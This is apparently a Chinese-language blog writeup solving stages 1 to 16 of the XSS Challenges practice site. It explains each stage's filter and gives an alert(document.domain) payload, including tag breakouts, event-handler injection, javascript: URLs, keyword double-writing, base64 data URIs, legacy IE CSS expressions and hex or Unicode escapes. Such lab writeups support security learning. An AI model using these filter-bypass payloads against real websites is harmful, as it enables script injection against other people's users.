XSS练习平台【XSS Challenges】的Writeup

一、简介

以下练习来自于 XSS 在线练习平台 XSS Challenges ,在网上听说是日本一个安全研究员 @yamagata21 做的,项目目前我这里未找到 Github 源码,以后找到了也会一并发出来的。
练习地址:http://xss-quiz.int21h.jp

二、建议

建议大家在火狐浏览器下进行练习,因为现在 Chrome 浏览器会自动检测 XSS 攻击,所以为了方便练习建议先在火狐浏览器下进行。

三、XSS 练习平台 Writeup

Stage #1

这里没有任何防护,我们先随便输入看看会有什么反应,这里我输入一个数字 1 看看审查元素里面是怎么显示的。发现输入的内容是包含在一个 <b> 标签内的,我们只需要进行常规闭合标签,并且嵌套新的 <script> 标签即可。

所以构造 payload 如下:

</b><script>alert(document.domain)</script><b>

注意这里一定要弹出他的域名才算通关,才会弹出第二关的入口页面。

Stage #2

第二关的输入值在 <input> 标签内的 value 值,那么就继续闭合它。

"><script>alert(document.domain)</script>

Stage #3

这一关,乍一看跟第一关好像没啥区别,直接上第一关的 payload ,发现不行,查看页面源码,发现原来是尖括号,引号都被转义成实体字符了,完蛋,没办法了。但是我们要注意一下,后面还有一个 country  参数,试试 burp 抓包修改试试。
因为前面的参数被转义了,但是后面的参数没有被转义,所以就在第二个参数入手,将第二个参数 Japan 改为:
</b><script>alert(document.domain)</script><b>

即可成功。

Stage #4

看着貌似跟第三题一样,抓包的时候却发现了多了一个 p3 参数,并且参数值为 hackme 先随便输入值,然后查看页面源码,发现 hackme 值是在 <input> 标签内的,联想到了第二题,将 p3 原来的值修改为如下:

"><script>alert(document.domain)</script>

Stage #5

这里是玩了一把前端验证的小游戏,输入的时候发现长度有限制,审查元素发现原来是有 maxlength 参数限制长度,那么就直接将他改为一个超级大的数值即可,然后直接继续使用第二关的 payload 即可。

Stage #6

依旧是在 <input> 标签内的,试一下第二关的 payload 发现,尖括号被转义了,尴尬,但是双引号没有被转义。那么我们此时就是需要构造在 <input> 标签内可以触发的一些事件来构造 XSS 代码,比如onmouseover、onmouseenter、onclick等等。

"onmouseover = "alert(document.domain)"

onmouseover 是当鼠标滑动到这里的时候就触发了 XSS 代码。

Stage #7

这里发现,onmouseover 里面的双引号被转义了,外面的双引号没有被转义,那么就不要里面的双引号就好了,但是要注意里面的空格啊,不要少了。

" onmouseover = alert(document.domain)

Stage #8

这个在审查元素里面一看,居然参数值是在 <a> 标签内,那么可以构造在 url 中执行 js 代码,可以构造如下 payload:

javascript:alert(document.domain)

点击 url 便会触发 XSS 攻击,获得下一关入口。

Stage #9

变态的 UTF-7,放心,实战中不会遇到的,直接 pass 掉,不再研究。通关教程,打开控制台(console),然后输入 alert(document.domain) 即可通往下一关。

Stage #10

依旧是 <input> 标签,使用第七关的 payload 试试,发现 domain 被过滤了,双写绕过,然后闭合 value 的后半部分标签。

" onmouseover = alert(document.dodomainmain) "

Stage #11

输入常用的 script 和 on 事件标签发现全部被转换了,分别转换为了 xscript 和 onxxx,那就换个不常用的标签,构造语句

"><object data="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg==">

使用了 base64 编码,可以正常执行,但是却没有弹出想要的下一关的入口,bug?还是使用上面的方法,在控制台跳过吧。

Stage #12

又是 <input> 继续使用如下的 payload:

" onmouseover = alert(document.domain)

但是发现双引号被过滤了,其实还过滤了了尖括号。只能祭出古老的 IE 浏览器,因为 IE 有一个特性会吧 `` (键盘 Esc 键下面的键)识别为双引号,从而绕过。最终的 payload 为:

``  onmouseover = alert(document.domain)

Stage #13

这道题用的是 style 中的 background-color 来控制背景颜色的,想办法逃出来执行 js 代码。
主要考察的是 CSS 样式属性的 XSS 代码执行,在 CSS 样式中利用 expression 实现 JavaScript 中的 onmouseover 或者 onmouseout 事件,构造 payload 如下:

background-color:expression(onmouseover=function(){alert(document.domain)})

或者还有一个 payload 但是会不停地触发 XSS 代码,建议使用上面的 payload,下面这个作为参考。但是这两个 payload 都是需要在 IE 浏览器下面执行。但是目前 IE 11 已不支持 expression 功能了。

xss:expression(alert(document.domain))

Stage #14

一看,跟上面那题一样,直接上 payload 发现,expression 被替换掉了,那么使用注释的方法把这些必须的关键词分割开来即可,同样是需要在 IE 浏览器下执行。

background-color:ex/**/pression(onmouseover=function(){alert(document.domain)})

Stage #15

打开之后发现输出是在 document.write() 中的,直接输入

<script>alert(document.domain)</script>

发现尖括号又是被转义了,但是因为处在 document.write() 函数中,可以对 <> 进行16进制编码 尝试一下构造 payload:

\\x3Cscript\\x3Ealert(document.domain)\\x3C/script\\x3E

Stage #16

这题只需要将尖括号进行 Unicode 编码即可

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

四、其他

Stage #17、Stage #18、Stage #19都是仅存在于 旧版本的 IE 浏览器中,继续测试意义不大,便不再测试了。

发表评论

电子邮件地址不会被公开。必填项已用 * 标注